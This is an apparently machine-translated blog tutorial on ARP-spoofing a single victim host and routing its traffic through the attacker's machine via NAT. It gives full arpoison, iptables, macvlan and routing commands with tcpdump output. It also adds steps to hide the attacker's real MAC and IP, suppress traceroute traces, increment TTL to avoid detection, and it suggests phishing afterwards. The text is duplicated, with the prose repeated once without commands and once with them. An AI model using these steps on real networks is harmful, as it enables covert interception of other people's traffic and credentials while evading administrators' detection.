
Another way to intercept traffic through ARP Spoofing
There were already a lot of articles on the topic of classic ARP spoofing on Habré, but all of them were similar in that in order to fully intercept traffic, it was necessary to replace ARP records for two machines. Typically, this is the victim and its default gateway. However, the idea of spoofing a gateway is not always good. It may well have an attack detector on board, which will double-report to the administrator that the network is being broken and the freebie will end before it starts. This article will discuss a method of intercepting traffic in which an attack is made only on the host victim. As usual in such cases, the article is purely for review, use to the detriment is punishable by law, etc.
There are a lot of letters under the cut.
I will make a reservation right away that Linux will be used for attacks. For network security professionals, please do not kick.
When writing an article, I will assume that the reader at least knows approximately who ARP is, why and how it works. You can read here. In short, ARP is used to understand which physical MAC address the packet should be sent to if the destination IP is known. Accordingly, replacing the real MAC address of a certain node with your victim’s ARP table, we will ensure that the victim sends packets to such a node to us. We can either directly forward such packages to the real recipient, or change them on the go before sending. There is one problem. If we simply forward the packets further, we will see only half the traffic, since the recipient will send the response directly to the victim. Typically, to solve this problem, the recipient is the second victim and is subjected to a symmetrical attack. But on the other hand, you usually want to intercept the victim’s Internet traffic, which means that the recipient will be a network gateway. And if this gateway is not a simple home router, but something more serious,
So, even if we want to intercept the victim’s traffic, we can only send “deliberately singed” packets to the victim’s car. The solution is to raise NAT on your machine and send traffic to the gateway from your interface instead of direct forwarding. In this case, we work for the victim as another NAT gateway.
Let there be 192.168.0.0/24 on the network with the 192.168.0.1 gateway . For convenience, let the MAC addresses of the adapters be of the form 00-00-00-00-00-XX , where XX is the last digit of the IP address, that is, the MAC of the gateway will be 00-00-00-00-00-01 .
There are cars on the network:
192.168.0.1 / 00-00-00-00-00-01 - gateway
192.168.0.3 / 00-00-00-00-00-03 - victim
eth0 - 192.168.0.5 / 00-00-00 -00-00-05 - our car, with which we will attack. A single eth0 network interface is connected to the network
For ARP spoofing, we will use the arpoison utility . It, unlike arpspoof from the dsniff package , does not require the correct IP configuration of the interface from which spoofing occurs (we will need this a bit later).
So, for starters, let's enable packet routing:
Now run ARP spoofing:
everything, the victim’s machine is now confident that 192.168.0.1 is our eth0. You can check and make sure (perform on the victim):
we raise NAT on our machine (for simplicity, everything that is forwarded and sent not to localhost will be masquerade):
done. We check by pinging the gateway from the victim, on our machine we see something like this:
it is clear that ping came to us, from us from our IP went to the gateway, and the returning response went to the sender. In a word, normal NAT.
We intercepted the traffic, but at the same time managed to light up our IP and MAC, which will allow us to take us as a soft spot when we first open the wireshark on the victim or when viewing the logs on the gateway. Let's try to repeat the focus, but at the same time to inherit less. To do this, raise the virtual adapter with a different MAC and IP.
We create an adapter, it will receive a random MAC, let it be 00-00-00-00-00-06:
write the IP address or take it via DHCP. In the second case, after receiving the address, do not forget to throw all the routes through virt0:
after such manipulations, we should have a virt0 adapter with MAC 00-00-00-00-00-06 and IP 192.168.0.6 and without a single route through it.
The next step is to add a routing rule in which all packets coming from virt0 will be forwarded through it:
Now you can run spoofing and see what happened:
at first glance, everything is beautiful, but we lit up our real MAC. This happened because, on the ARP request, which MAC of 192.168.0.6 our machine happily answered the gateway with the real address of the network card. To prevent this, do the following:
Now only a real adapter will respond to ARP requests. It remains to solve the problem of delivering the MAC address of the virtual adapter to the gateway. You can do this, for example, using the same arpoison, specifying real addresses and a larger interval. In this case, such ARP responses should not cause suspicion:
everything, now the gateway knows where to send the answer and the picture becomes beautiful:
Remained a little. First, prohibit the system from accepting incoming (non-forwarded) packets on a virtual interface, so that someone curious does not compare the list of services on 192.168.0.6 and 192.168.0.5
Secondly (thanks AEP ) turn off ICMP time exceeded in-transit so that our real address does not appear in traceroute
Thirdly (thanks kay ) add an increase in TTL so that routing through us is not visible on pings and traceroute
As a result, we managed to intercept traffic, attacking only the victim’s machine, without revealing our real IP and MAC. In this case, intercepted packets are routed by standard means. You can also configure more fun routing rules, open port 80 on virt0 and practice phishing, but that's another story.
UPD: it would be interesting to read in the comments how such a scheme can still be ignited without having l3 routing in the network.
There are a lot of letters under the cut.
I will make a reservation right away that Linux will be used for attacks. For network security professionals, please do not kick.
A little bit about ARP
When writing an article, I will assume that the reader at least knows approximately who ARP is, why and how it works. You can read here. In short, ARP is used to understand which physical MAC address the packet should be sent to if the destination IP is known. Accordingly, replacing the real MAC address of a certain node with your victim’s ARP table, we will ensure that the victim sends packets to such a node to us. We can either directly forward such packages to the real recipient, or change them on the go before sending. There is one problem. If we simply forward the packets further, we will see only half the traffic, since the recipient will send the response directly to the victim. Typically, to solve this problem, the recipient is the second victim and is subjected to a symmetrical attack. But on the other hand, you usually want to intercept the victim’s Internet traffic, which means that the recipient will be a network gateway. And if this gateway is not a simple home router, but something more serious,
Simple attack option
So, even if we want to intercept the victim’s traffic, we can only send “deliberately singed” packets to the victim’s car. The solution is to raise NAT on your machine and send traffic to the gateway from your interface instead of direct forwarding. In this case, we work for the victim as another NAT gateway.
Network configuration
Let there be 192.168.0.0/24 on the network with the 192.168.0.1 gateway . For convenience, let the MAC addresses of the adapters be of the form 00-00-00-00-00-XX , where XX is the last digit of the IP address, that is, the MAC of the gateway will be 00-00-00-00-00-01 .
There are cars on the network:
192.168.0.1 / 00-00-00-00-00-01 - gateway
192.168.0.3 / 00-00-00-00-00-03 - victim
eth0 - 192.168.0.5 / 00-00-00 -00-00-05 - our car, with which we will attack. A single eth0 network interface is connected to the network
Utilities
For ARP spoofing, we will use the arpoison utility . It, unlike arpspoof from the dsniff package , does not require the correct IP configuration of the interface from which spoofing occurs (we will need this a bit later).
Go
So, for starters, let's enable packet routing:
# sysctl net.ipv4.ip_forward = 1 # iptables -A FORWARD -j ACCEPT
Now run ARP spoofing:
# arpoison -i eth0 -d 192.168.0.3 -s 192.168.0.1 -t 00: 00: 00: 00: 00: 03 -r 00: 00: 00: 00: 00: 05 ARP reply 1 sent via eth0 ARP reply 2 sent via eth0 ARP reply 3 sent via eth0
everything, the victim’s machine is now confident that 192.168.0.1 is our eth0. You can check and make sure (perform on the victim):
# arp Address HWtype HWaddress Flags Mask Iface 192.168.0.1 ether 00: 00: 00: 00: 00: 05 C eth0
we raise NAT on our machine (for simplicity, everything that is forwarded and sent not to localhost will be masquerade):
# iptables -t nat -A POSTROUTING! -d 127.0.0.1/8 -j MASQUERADE
done. We check by pinging the gateway from the victim, on our machine we see something like this:
# tcpdump -i eth0 -ne icmp 14: 26: 25.356528 00: 00: 00: 00: 00: 03> 00: 00: 00: 00: 00: 05, ethertype IPv4 (0x0800), length 98: 192.168.0.3> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14: 26: 25.356578 00: 00: 00: 00: 00: 05> 00: 00: 00: 00: 00: 01, ethertype IPv4 (0x0800), length 98: 192.168.0.5> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14: 26: 25.356796 00: 00: 00: 00: 00: 01> 00: 00: 00: 00: 00: 05, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.5: ICMP echo reply, id 35670, seq 320, length 64 14: 26: 25.356835 00: 00: 00: 00: 00: 05> 00: 00: 00: 00: 00: 03, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64
it is clear that ping came to us, from us from our IP went to the gateway, and the returning response went to the sender. In a word, normal NAT.
We complicate the task
We intercepted the traffic, but at the same time managed to light up our IP and MAC, which will allow us to take us as a soft spot when we first open the wireshark on the victim or when viewing the logs on the gateway. Let's try to repeat the focus, but at the same time to inherit less. To do this, raise the virtual adapter with a different MAC and IP.
We create an adapter, it will receive a random MAC, let it be 00-00-00-00-00-06:
# ip link add link eth0 dev virt0 type macvlan # ifconfig virt0 up # ifconfig virt0 virt0: flags = 4098mtu 1500 ether 00: 00: 00: 00: 00: 06 txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
write the IP address or take it via DHCP. In the second case, after receiving the address, do not forget to throw all the routes through virt0:
# dhcpcd virt0 dhcpcd [28920]: version 6.3.2 starting dhcpcd [28920]: DUID 00: 01: 00: 01: 19: 9d: 11: 86: 00: 00: 00: 00: 00: 05 dhcpcd [28920]: virt0: IAID 00: e8: 8a: 01 dhcpcd [28920]: virt0: soliciting an IPv6 router dhcpcd [28920]: virt0: soliciting a DHCP lease dhcpcd [28920]: virt0: offered 192.168.0.6 from 192.168.0.1 dhcpcd [28920]: virt0: leased 192.168.0.6 for 3600 seconds dhcpcd [28920]: virt0: adding route to 192.168.0.0/24 dhcpcd [28920]: virt9: adding default route via 192.168.0.1 dhcpcd [28920]: forked to background, child pid 29059 # dhcpcd -x virt0 dhcpcd [29192]: sending signal TERM to pid 29059 dhcpcd [29192]: waiting for pid 29059 to exit # ifconfig virt0 down # ifconfig virt0 up
after such manipulations, we should have a virt0 adapter with MAC 00-00-00-00-00-06 and IP 192.168.0.6 and without a single route through it.
The next step is to add a routing rule in which all packets coming from virt0 will be forwarded through it:
# ip route add 192.168.0.0/24 dev virt0 table 100 # ip rule add iif virt0 lookup 100 # ip route show table 100 192.168.0.0/24 dev virt0 scope link # ip rule 0: from all lookup local 32765: from all iif virt0 lookup 100 32766: from all lookup main 32767: from all lookup default
Now you can run spoofing and see what happened:
# arpoison -i virt0 -d 192.168.0.3 -s 192.168.0.1 -t 00: 00: 00: 00: 00: 03 -r 00: 00: 00: 00: 00: 06
# tcpdump -i eth0 -ne icmp 14: 26: 25.356528 00: 00: 00: 00: 00: 03> 00: 00: 00: 00: 00: 06, ethertype IPv4 (0x0800), length 98: 192.168.0.3> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14: 26: 25.356578 00: 00: 00: 00: 00: 06> 00: 00: 00: 00: 00: 01, ethertype IPv4 (0x0800), length 98: 192.168.0.6> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14: 26: 25.356796 00: 00: 00: 00: 00: 01> 00: 00: 00: 00: 00: 05, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.6: ICMP echo reply, id 35670, seq 320, length 64 14: 26: 25.356835 00: 00: 00: 00: 00: 05> 00: 00: 00: 00: 00: 03, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64
at first glance, everything is beautiful, but we lit up our real MAC. This happened because, on the ARP request, which MAC of 192.168.0.6 our machine happily answered the gateway with the real address of the network card. To prevent this, do the following:
# sysctl net.ipv4.conf.all.arp_ignore = 1
Now only a real adapter will respond to ARP requests. It remains to solve the problem of delivering the MAC address of the virtual adapter to the gateway. You can do this, for example, using the same arpoison, specifying real addresses and a larger interval. In this case, such ARP responses should not cause suspicion:
# arpoison -i virt0 -d 192.168.0.1 -s 192.168.0.6 -t 00: 00: 00: 00: 00: 01 -r 00: 00: 00: 00: 00: 06 -w 5
everything, now the gateway knows where to send the answer and the picture becomes beautiful:
# tcpdump -i eth0 -ne icmp 14: 26: 25.356528 00: 00: 00: 00: 00: 03> 00: 00: 00: 00: 00: 06, ethertype IPv4 (0x0800), length 98: 192.168.0.3> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14: 26: 25.356578 00: 00: 00: 00: 00: 06> 00: 00: 00: 00: 00: 01, ethertype IPv4 (0x0800), length 98: 192.168.0.6> 192.168.0.1: ICMP echo request, id 35670, seq 320, length 64 14: 26: 25.356796 00: 00: 00: 00: 00: 01> 00: 00: 00: 00: 00: 06, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.6: ICMP echo reply, id 35670, seq 320, length 64 14: 26: 25.356835 00: 00: 00: 00: 00: 06> 00: 00: 00: 00: 00: 03, ethertype IPv4 (0x0800), length 98: 192.168.0.1> 192.168.0.3: ICMP echo reply, id 35670, seq 320, length 64
Remained a little. First, prohibit the system from accepting incoming (non-forwarded) packets on a virtual interface, so that someone curious does not compare the list of services on 192.168.0.6 and 192.168.0.5
# iptables -A INPUT -i virt0 -j DROP
Secondly (thanks AEP ) turn off ICMP time exceeded in-transit so that our real address does not appear in traceroute
# iptables -A OUTPUT -p icmp --icmp-type 11 -j DROP
Thirdly (thanks kay ) add an increase in TTL so that routing through us is not visible on pings and traceroute
# iptables -t mangle -A PREROUTING -i virt0 -j TTL --ttl-inc 1
Instead of a conclusion
As a result, we managed to intercept traffic, attacking only the victim’s machine, without revealing our real IP and MAC. In this case, intercepted packets are routed by standard means. You can also configure more fun routing rules, open port 80 on virt0 and practice phishing, but that's another story.
UPD: it would be interesting to read in the comments how such a scheme can still be ignited without having l3 routing in the network.